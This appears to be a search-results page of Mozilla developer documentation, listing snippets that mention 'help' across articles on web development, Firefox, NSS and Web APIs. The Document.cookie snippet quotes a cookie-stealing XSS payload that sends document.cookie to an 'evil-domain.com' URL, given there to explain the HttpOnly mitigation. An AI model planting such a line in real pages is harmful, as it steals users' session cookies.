it is an idea that changed the way we design for a multi-device web, and in this article, we'll help you understand the main techniques you need to know to master it.
... it has also become much easier to achieve responsive designs with the help of the layout methods you have learned in these lessons.

CSS layout - Learn web development
at the end of the lessons is an assessment to help you check your understanding of layout methods, by laying out a webpage.
...it is an idea that changed the way we design for a multi-device web, and in this article we'll help you understand the main techniques you need to know to master it.

Publishing your website - Learn web development
generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features).
... to learn more, see github pages help.

Document and website structure - Learn web development
in your html code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." as we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.
...all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it.

Multimedia and Embedding - Learn web development
responsive images in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
... this helps to improve performance across different devices.

Graceful asynchronous programming with Promises - Learn web development
the trouble with callbacks to fully understand why promises are a good thing, it helps to think back to old-style callbacks and to appreciate why they are problematic.
... chaining the blocks together this is a very longhand way of writing this out; we've deliberately done this to help you understand what is going on clearly.

Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
but it can also just help keep your code tidy, especially if the timeout callback is more than a few lines of code.
...this will help to avoid confusion.

Introduction to events - Learn web development
we are not expecting you to understand all of these areas now, but it certainly helps to understand the basics of events as you forge ahead with learning web development.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.

Function return values - Learn web development
note: if you have trouble getting the example to work, feel free to check your code against the finished version on github (see it running live also), or ask us for help.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.

Fetching data from the server - Learn web development
enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
... some helpful hints: you might find the xmlhttprequest reference material useful.

Object-oriented JavaScript for beginners - Learn web development
we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse more than help.
...i\'m ' + this.name + '.'); } }); using the create() method constructors can help you give your code order—you can create constructors in one place, then create instances as needed, and it is clear where they came from.

JavaScript — Dynamic client-side scripting - Learn web development
start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other programming languages might also help.
...the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.

Properly configuring server MIME types - Learn web development
mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed.
... if the media type is displayed using a plug-in in netscape gecko, install the plug-in and then look in the help->about plug-ins menu to see what mime types are associated with the media type.

Introduction to the server side - Learn web development
note: client-side frameworks are often used to help speed up development of client-side code, but you can also choose to write all the code by hand; in fact, writing your code by hand can be quicker and more efficient if you only need a small, simple web site ui.
... in a future article we'll help you choose the best web framework for your first site.

Introduction to client-side frameworks - Learn web development
this shared ecosystem of libraries helped shape the growth of the web.
... the state of javascript survey is a helpful collection of feedback from javascript developers.

Componentizing our Svelte app - Learn web development
it will help you understand how they relate to each other, it will promote reuse, and it will make your code easier to reason about, maintain, and extend.
... both approaches should complement each other, and help you decide how to better organize your components.

Getting started with Svelte - Learn web development
moreover, with the help of sapper (a framework based on svelte), you can also develop applications with advanced features like server-side rendering, code splitting, file-based routing and offline support.
...if you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a repl instance demomstrating the issue.

Working with Svelte stores - Learn web development
give it the following content: import { writable } from 'svelte/store'; export const localstore = (key, initial) => { // receives the key of the local storage and an initial value const tostring = (value) => json.stringify(value, null, 2) // helper function const toobj = json.parse // helper function if (localstorage.getitem(key) === null) { // item not present in local storage localstorage.setitem(key, tostring(initial)) // initialize local storage with initial value } const saved = toobj(localstorage.getitem(key)) // convert to object const {...
... we use the localstorage.getitem(key) and localstorage.setitem(key, value) methods to read and write information to web storage, and the tostring() and toobj() (which uses json.parse()) helper functions to convert the values.

Getting started with Vue - Learn web development
this will help us catch common errors, but not be overly opinionated.
...these small blocks can help you reason about and test your code.

Rendering a list of Vue components - Learn web development
to help vue optimize rendering the elements in the list, it tries to patch list elements so it's not recreating them every time the list changes.
... however, vue needs help.

Vue resources - Learn web development
studying the vue source code can help you better understand how the framework works, and write better code.
... vue forum — the official forum for getting help with vue.

Styling Vue components with CSS - Learn web development
to help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel.
...this will help improve the spacing of our to-do items a bit.

Introduction to automated testing - Learn web development
fortunately, there are tools to help us automate some of this pain away.
... help (question mark) — accesses help/support functions.

Strategies for carrying out testing - Learn web development
browser support stats one helpful measure you can call on to inform your browser testing choices is browser support stats.
...ubuntu's installer makes this quite easy to set up; see windowsdualboot for help with this.

Setting up your own test automation environment - Learn web development
note: the help button on lambdatest automation dashboard will provide you with an ample amount of information to help you get started with lambdatest automation.
...since you are using these twice now, you may want to create a couple of helper variables to store them in.

Git and GitHub - Learn web development
you need to have some kind of mechanism in place to manage the occurences, and help avoid loss of work as a result.
...eventually we will are aiming to have our own dedicated git/github course, but for now, these will help you get to grips with the subject in hand.

Testopia
anyone wishing to help in this effort is more than welcome.
... links faq wiki docs bugs (please read the bug reporting guide) official testopia blog irc: #testopia or #bugzilla user help support-webtools@lists.mozilla.org developers dev-apps-webtools@lists.mozilla.org downloads download 2.5 (bugzilla 4.2) download 2.4 (bugzilla 3.6 and 4.0) archived versions developers greg hendricks vance baarda (former developer) ed fuentetaja (former developer) ...

Continuous Integration
this document will help you understand all the pieces that comprise mozilla's continuous integration systems.
... for a full list of job types, see the help menu in treeherder's upper-right corner.

Debugging on Windows
automatically handling assertions without a debugger attached when an assertion happens and there is not a debugger attached, a small helper application (windbgdlg.exe) is run.
... you can use helper functions from nsxpconnect.cpp to inspect and modify the state of javascript code from the msvs debugger.

Experimental features in Firefox
nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering.
... nightly 81 yes developer edition — — beta — — release — — preference name — security and privacy block plain text requests from flash on encrypted pages in order to help mitigate man-in-the-middle (mitm) attacks caused by flash content on encrypted pages, a preference has been added to treat object_subrequests as active content.

Index
168 performance best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.

Firefox
you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.

Gecko Keypress Event
this behavior helps the internationalization of web applications that have custom shortcut keys.
...of course, this is not much help to users with other keyboard layouts.

Script security
however, javascript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content.
... from the point of view of chrome code, the script security model in gecko is intended to provide that help to make writing secure, system-privileged javascript a realistic expectation.

How to add a build-time test
writing a test is good, but it is even more helpful if that test gets executed.
... we have various automation tools that help make this possible.

How to get a process dump with Windows Task Manager
introduction when tracking down the causes of process hangs, it is often helpful to obtain a process dump while the process is experiencing a hang.
...please ask for help doing this!

JavaScript Tips
when passing an object to an xpcom method it is helpful if the object you pass is an xpcom object, so that the c++ method access a c++ object.
...however, in javascript this is quite simple even in the case of a weak reference which in c++ requires a helper class: var weakobserver = { queryinterface: function queryinterface(aiid) { if (aiid.equals(components.interfaces.nsiobserver) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, atopic, astate) { } } ...

JavaScript code modules
fileutils.jsm provides helpers for dealing with files.
... netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.

Bootstrapping a new locale
in mozilla, we use the the mercurial version control system (hg) to help manage our localizations.
... the l10n-drivers will help set up an experimental hg repository in bit bucket.

Index
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
...the localizable data fields of an extension are: 23 localizing with koala this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.

Localizing with Pontoon
translation helpers as you can see, suggestions from history, translation memory, machine translation and other locales are also available in the out-of-context translation panel.
... we call all of these translation helpers and here's how each of them will help you as you translate strings: history displays previously suggested translations, including from other users.

Localization sign-off reviews
each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
...using these colors helps us to identify potential bugs and approve your latest revision with speed while maintaining critical accuracy.

Creating localizable web applications
might be also helpful for headers and footers, if you're not using templates to display them.
... use gettext comments use comments in the code to help localizers understand what they are translating.

Power profiling overview
nonetheless, they can still help improve understanding of a problem by using differential profiling.
...looking at other measurements (c-state residency, gpu usage, etc.) may be helpful.

Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance overview basic usage select "time profiler" from the "choose a profiling template for:" dialog.
...the call tree view can be quite helpful here.

Profiling with the Firefox Profiler
description of all available environment variables may be printed by starting firefox with moz_profiler_help=1 set.
...these add raii helpers, which are used by the profiler to track entries/exits of the annotated functions.

Refcount tracing and balancing
refcount balancing is a follow-up step that analyzes the resulting log to help a developer figure out where refcounting went wrong.
...this can help remove some of the clutter from an otherwise noisy tree.

about:memory
if you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees immediately below the root, and then gradually expand the sub-trees of interest.
...graphics is often a source of high memory usage, and so these measurements can be helpful for detecting such cases.

Productization guide
for example, putting one sample news feed on the bookmarks toolbar in new profiles in firefox helps in learning about the live bookmarks.
... including a couple of search engines instead of one in the search toolbar can help users understand that they can add as many plug-ins as they wish.

A guide to searching crash reports
this guide to searching through crash reports may help you locate the crash reports that will help you find and fix the firefox bug you're working on.
...this is helpful if you have a fairly generic signature and you want to see how many of them are a particular case of it that you've come across.

L20n
l20n syntax cheatsheet for developers a simple cheatsheet to help developers as they add l20n to their localization infrastructure.
... l20n syntax cheatsheet for localizers a simple cheatsheet to help localizers as they localize projects with l20n.

Anonymous Shared Memory
in the first protocol, the job of passing the inheritable shared memory is done via helper-functions with pr_createprocess.
...nspr provides helper functions for extracting data from the prfilemap object.

NSS_3.12_release_notes.html
bug 217538: softoken databases cannot be shared between multiple processes bug 294531: design new interfaces for certificate path building and verification for libpkix bug 326482: nss ecc performance problems (intel) bug 391296: need an update helper for shared databases bug 395090: remove duplication of pkcs7 code from pkix_pl_httpcertstore.c bug 401026: need to provide a way to modify and create new pkcs #11 objects.
...bug 406647: libpkix does not use user defined revocation checkers bug 407064: pkix_pl_ldapcertstore_buildcrllist should not fail if a crl fails to be decoded bug 421216: libpkix test nss_thread leaks a test certificate bug 301259: signtool usage message is unhelpful bug 389781: nss should be built size-optimized in browser builds on linux, windows, and mac bug 90426: use of obsolete typedefs in public nss headers bug 113323: the first argument to pk11_findcertfromnickname should be const.

NSS 3.35 release notes
below, are explanations that could be helpful for environments that need to adopt to the new default.
... cn = dst aces ca x6 sha-256 fingerprint: 76:7c:95:5a:76:41:2c:89:af:68:8e:90:a1:c7:0f:55:6c:fd:6b:60:25:db:ea:10:41:6d:7e:b6:83:1f:8c:40 subject cn = verisign class 3 secure server ca - g2 sha-256 fingerprint: 0a:41:51:d5:e5:8b:84:b8:ac:e5:3a:5c:12:12:2a:c9:59:cd:69:91:fb:b3:8e:99:b5:76:c0:ab:da:c3:58:14 this intermediate cert had been directly included to help with transition from 1024-bit roots per bug #1045189.

nss tech note4
(rv == secsuccess) { sec_asn1decodercontext * context = sec_asn1decoderstart(null, &data, mycertexttemplate); rv = sec_asn1decoderupdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == secsuccess) { /* now you can extract info from secitem fields of your extension data structure */ /* see "misc helper functions" below */ .......
... secitem_freeitem(&data.maxusers, pr_false); } } some miscellaneous helper functions compare two secitems (e.g., two oids) prbool secitem_itemsareequal(const secitem *a, const secitem *b); interpreting a secitem value as an integer if secitem *item->len <=4, then int value = der_getinteger(item); interpreting a secitem value as a string use string copy functions to copy item->len bytes from item->data and null terminate explicitly some higher level extension function...

sslfnc.html
if you are inclined to help with this migration, your help would be very much appreciated.
...this may be helpful if you have an export license that permits more or fewer capabilities than those allowed by the other export policy functions.

sslintro.html
if you are inclined to help with this migration, your help would be very much appreciated.
... callbacks and helper functions allow you to specify such things as how authentication is accomplished and what happens if it fails.

Renaming With Pork
thus it is helpful to postprocess the patch with sed and filterdiff.
...--dry-run is helpful for debugging filterdiff -x \*/smbase/\* /tmp/string.diff |sed 's/.home.tglek.tmp.//' | patch -p1 --dry-run ...

Rhino shell
help() executing the help function will print usage and help messages.
...uncommand("sort", {input: "c\na\nb"}) a b c 0 js> // demo of output and err options js> var opt={input: "c\na\nb", output: 'sort output:\n'} js> runcommand("sort", opt) 0 js> print(opt.output) sort output: a b c js> var opt={input: "c\na\nb", output: 'sort output:\n', err: ''} js> runcommand("sort", "--bad-arg", opt) 2 js> print(opt.err) /bin/sort: unrecognized option `--bad-arg' try `/bin/sort --help' for more information.

How to embed the JavaScript engine
*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
... "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; int main(int argc, const char *argv[]) { js_init(); jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.

64-bit Compatibility
to help form well-typed lir, there is a special opcode called lir_float which specifies that the associated constant value is definitely floating-point.
... there are three helper functions in lirwriter: ins_i2p() - on 32-bit platforms, does nothing.

Tracing JIT
if the recorder is asked to record a bytecode that implies a call to a native function elsewhere in spidermonkey -- some helper function written in c -- and that native happens to re-enter the interpreter to interpret yet more bytecode, and furthermore if that bytecode itself contains a hot pc that has not yet been traced, the trace monitor may be asked to begin nested recording.
... some other terminology may be helpful when reading the code: the term guard denotes a condition that is checked by an executing trace to confirm that some assumptions made during recording still hold.

Self-hosted builtins in SpiderMonkey
using the same mechanism, c++-implemented helper functions are made available to self-hosted code.
... the file utilities.js provides some additional, js-implemented helper functions.

JS::CallArgs
this article covers features introduced in spidermonkey 17 helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
... description js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.

Running Automated JavaScript Tests
see the full list in the -h / --help output.
... one helpful option specific to jit-tests is -r filename (or --retest filename).

compare-locales
compare-locales is a python script that helps localizers to check their work without running firefox or another application.
... options to get a brief list of available options, use the --help flag: $ compare-locales --help the output the output of compare-locales shows the missing and obsolete strings in a pseudo-diff format.

Exploitable crashes
this article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.
...if you need help with any of the steps (e.g.

Pinning violation reports
public key pinning helps ensure that people are connecting to the sites they intend.
...doing this can help us to make the web safer.

Gecko events
is supported: yes event_help_change an object's help has changed.
... is supported: no event_movesize_end the movement or resizing of a window has finished is supported: no event_contexthelp_start a window has entered context-sensitive help mode is supported: no event_contexthelp_end a window has exited context-sensitive help mode is supported: no event_dragdrop_start an application is about to enter drag-and-drop mode is supported: yes event_dragdrop_end an application is about to exit drag-and-drop mode is supported: no event_dialog_start a dialog box has been displayed i...

AT APIs Support
k-meleon - light, ultra-fast and more advanced (fully configurable) gecko-based web browser available on the windows platform on linux/unix platform yelp help viewer - the help viewer in gnome evolution email - provides integrated mail, addressbook and calendaring functionality to users of the gnome desktop.
...as well you might find helpful the about:accessibilityenabled firefox extension.

XForms Accessibility
help specifies contextual help for the containing form control (see the spec, the docs).
... the help element has role_alert role.

XPCOM array guide
void notifyobservers(nsiarray* aarray) { pruint32 length; aarray->getlength(&length); for (pruint32 i=0; i<length; ++i) { nscomptr<nsimyobserver> element; aarray->queryelementat(i, ns_get_iid(nsielement), getter_addrefs(element)); element->observe(); } } a simpler option is to use the helper do_queryelementat which is typesafe.
...there are also corresponding enumerators and helpers for utf8 strings.

An Overview of XPCOM
but xpcom also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application.
... in xpcom, in addition to the component support and management, there are a number of services that help the developer write cross platform components.

Component Internals
instead of asking every developer to find and copy these various files into their own application, xpcom provides a single library of "not-ready-to-freeze-but-really-helpful" classes that you can link into your application, as the following figure demonstrates.
... the string classes that implement these abstract classes are another set of helpful, unfrozen classes in xpcom.

Components.utils.Sandbox
this helps to improve memory usage by allowing sandboxes to be discarded when that zone goes away.
... wantexporthelpers a boolean: if true, then createobjectin(), evalinwindow(), and exportfunction() are available in the sandbox.

NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercase...
... methods constructors void ns_convertutf16toutf8(const prunichar*) - source a helper class that converts a utf-16 string to utf-8 parameters prunichar* astring void ns_convertutf16toutf8(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_convertutf16toutf8(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautost...

NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsa...
... methods constructors void ns_lossyconvertutf16toascii(const prunichar*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters prunichar* astring void ns_lossyconvertutf16toascii(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_lossyconvertutf16toascii(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - ...

nsIAccessible
descriptions nsiaccessible.description and nsiaccessible.help provides additional text information about accessible.
... help help text associated with node.

nsIDOMHTMLSourceElement
type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it.
... media unimplemented domstring the media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it.

nsIMessenger
if set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog.
...if set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog.

nsIPropertyBag
goodies obtained from window.navigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwrappednative_nohelper mozpay:null mozpermissionsettings:null mozphonenumberservice:phonenumberservice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt ...
...services.appinfo.os simply tells us winnt only, this is not helpful to differentiate between windows xp, vista, 7, etc.

Frequently Asked Questions
this section will help you if you're fixing a broken build, or have what you think is a quick obvious question, and you don't have time to read the reference manual.
... the faq is divided into sections to help you find what you're looking for faster.

The Valgrind Test Job
if you need help or experience problems if you need help with the valgrind test job, please contact nicholas nethercote or gary kwong.
... julian seward can also help with valgrind issues.

MailNews fakeserver
the server provides the following api to xpcshell tests: <caption> nsmailserver xpcshell api </caption> name arguments returns description performtest none nothing runs until the test is forcibly aborted or stopped normally isstopped none if the server is stopped helper for performtest istestfinished none if the test is finished helper for performtest playtransaction none the transaction the transaction is an object with two properties: us, and them; us is an array of responses we sent, them an array of commands received resettest none nothing prepares the server for the next test without closing the connection start port number nothing starts the serv...
...there are added in alphabetical order, which may help for purposes that rely on article key orders.

Thunderbird Binaries
if you wish to download nightly builds to help us test for the next release, please read the testing page for where we need help.
... distinguishing between different nightly builds the main way you can determine if you are using a trunk or branch build is to click the "help" menu and choose "about".

Activity Manager examples
nt 1.) //optional: define some convenience constants const nsactprocess = components.constructor("@mozilla.org/activity-process;1", "nsiactivityprocess", "init"); const nsactevent = components.constructor("@mozilla.org/activity-event;1", "nsiactivityevent", "init"); // step 1: implement nsiactivitycontextdisplayhelper to show a // customized display text for our context type function sendercontextdisplayhelper() { // user stuff here..
... } sendercontextdisplayhelper.prototype = { getcontextdisplaytext: function(contexttype, contextobj) { // in this particular example we know that contexttype is "sender" // since we also pass the contexttype along with the contextobject // in some cases, one helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("sender", new sendercontextdisplayhelper()); // step 3: create the process ...

Access Thunderbird Window Areas
to access particular parts of the thunderbird window you can use these helper methods.
... var foldertree = getfoldertree(); var searchinput = getsearchinput(); var messagepane = getmessagepane(); var messagepaneframe = getmessagepaneframe(); var mailtoolbox = getmailtoolbox(); var currentmsgfolder = getloadedmsgfolder(); see the msgmail3panewindow.js for other helper methods ...

URLs - Plugins
nethelp displays a nethelp topic in a nethelp window.
...for some recommendations to help you with target parameter choice, see the reference entry for npn_geturl.

Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
...web developers need to know their pages’ actual memory consumption on real browsers, so it is correct for the tool to expose these behaviors, as long as it is done in a way that helps developers make decisions about their own code.

Edit Shape Paths in CSS - Firefox Developer Tools
the shape path editor is a tool that helps you see and edit shapes created using clip-path and also the css shape-outside property and <basic-shape> values.
... understanding the lines drawn by the editor once you have selected a shape on your page, the shape path editor will draw lines to help you understand the path that is being created.

Sorting algorithms comparison - Firefox Developer Tools
swap() helper function for bubblesort() and selectionsort().
... partition() helper function for quicksort().

Waterfall - Firefox Developer Tools
the animating css properties article shows how animating different css properties can give different performance outcomes, and how the waterfall can help signal that.
... to help reduce the length of pauses, spidermonkey implements incremental gc: this means that it can perform garbage collection in fairly small increments, letting the program run in between.

Taking screenshots - Firefox Developer Tools
taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console.
... note: thanks to eric meyer for his enthusiasm for our screenshot feature, and help!

Tips - Firefox Developer Tools
help opens the mdn page describing the available commands.
...see web console helpers for all parameters.

Console messages - Firefox Developer Tools
security the security messages shown in the web console help developers find potential or actual vulnerabilities in their sites.
... additionally, many of these messages help educate developers because they end with a “learn more” link that takes you to a page with background information and advice for mitigating the issue.

ArrayBufferView - Web APIs
arraybufferview is a helper type representing any of the following javascript typedarray types: int8array, uint8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or dataview.
... this is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it.

Background Tasks API - Web APIs
because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop.
...window.requestidlecallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how much time it can safely use without causing the system to lag.

Advanced animations - Web APIs
mentbyid('canvas'); var ctx = canvas.getcontext('2d'); var ball = { x: 100, y: 100, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.color; ctx.fill(); } }; ball.draw(); nothing special here, the ball is actually a simple circle and gets drawn with the help of the arc() method.
...again, window.requestanimationframe() helps us to control the animation.

Basic usage of canvas - Web APIs
this can look something like this: <canvas id="stockgraph" width="150" height="150"> current stock price: $3.15 + 0.15 </canvas> <canvas id="clock" width="150" height="150"> <img src="images/clock.png" width="150" height="150" alt=""/> </canvas> telling the user to use a different browser that supports canvas does not help users who can't read the canvas at all, for example.
... providing a useful fallback text or sub dom helps to make the canvas more accessible.

Hit regions and accessibility - Web APIs
the following guidelines can help to make it more accessible.
... focus rings when working with the keyboard, focus rings are a handy indicator to help navigating on a page.

Document.cookie - Web APIs
see date.toutcstring() for help formatting this value.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.

How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
when you’re only dealing with block-level elements such as <p> that only contain inline elements such as <em>, <strong>, <span>, etc., you don’t normally care about this because the extra whitespace that does make it to the layout is helpful to separate the words in the sentence.
... whitespace helper functions the javascript code below defines several functions that make it easier to deal with whitespace in the dom: /** * throughout, whitespace is defined as one of the characters * "\t" tab \u0009 * "\n" lf \u000a * "\r" cr \u000d * " " spc \u0020 * * this does not use javascript's "\s" because that includes non-breaking * spaces (and also some other characters).

Frame Timing API - Web APIs
this data can be used to help identify areas that take too long to provide a good user experience.
... this data, particularly the duration timestamp, can be used to help identify performance problems.

In depth: Microtasks and the JavaScript runtime environment - Web APIs
to understand where queuemicrotask() comes into play here, it's helpful to understand how the javascript runtime operates when scheduling and running code.
... solutions the use of web workers, which allow the main script to run other scripts in new threads, help to alleviate this problem.

Page Visibility API - Web APIs
for example, watching for blur and focus events on the window helps you know when your page is not the active page, but it does not tell you that your page is actually hidden to the user.
... timers such as settimeout() are throttled in background/inactive tabs to help improve performance.

WEBGL_debug_renderer_info - Web APIs
the webglrenderingcontext.getparameter() method can help you to detect which features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
... examples with the help of this extension, privileged contexts are able to retrieve debugging information about about the user's graphic driver: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl);...

Clearing by clicking - Web APIs
if (!gl) { gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
... gl.clear(gl.color_buffer_bit); } // random color helper function.

Simple color animation - Web APIs
"); gl = canvas.getcontext("webgl") ||canvas.getcontext("experimental-webgl"); if (!gl) { clearinterval(timer); alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
... gl.clear(gl.color_buffer_bit); } // random color helper function.

Matrix math for the web - Web APIs
using the identity matrix it should return a matrix identical to the original, since a matrix multiplied by the identity matrix is always equal to itself: // sets identityresult to [4,3,2,1] let identityresult = multiplymatrixandpoint(identitymatrix, [4, 3, 2, 1]); returning the same point is not very useful, but there are other types of matrices that can perform helpful operations on points.
...the function from above can be re-used to help out in this process: //matrixb • matrixa function multiplymatrices(matrixa, matrixb) { // slice the second matrix up into rows let row0 = [matrixb[ 0], matrixb[ 1], matrixb[ 2], matrixb[ 3]]; let row1 = [matrixb[ 4], matrixb[ 5], matrixb[ 6], matrixb[ 7]]; let row2 = [matrixb[ 8], matrixb[ 9], matrixb[10], matrixb[11]]; let row3 = [matrixb[12], matrixb[13], matrixb[14], matrixb[15]]; // multiply each row by matrixa let result0 = multiplymatrixandpoint(matrixa, row0); let result1 = multiplymatrixandpoint(matrixa, row1); let result2 = multip...

WebGL best practices - Web APIs
for example, it is possible for the following to never complete without context loss: sync = glfencesync(gl_sync_gpu_commands_complete, 0); glclientwaitsync(sync, 0, gl_timeout_ignored); webgl doesn't have a swapbuffers call by default, so a flush can help fill the gap, as well.
... keeping the application's vram usage under this cap will help to avoid out-of-memory errors and associated instability.

WebGL: 2D and 3D graphics for the web - Web APIs
guides and tutorials below, you'll find an assortment of guides to help you learn webgl concepts and tutorials that offer step-by-step lessons and examples.
... webgl best practices tips and suggestions to help you improve the quality, performance, and reliability of your webgl content.

Signaling and video calling - Web APIs
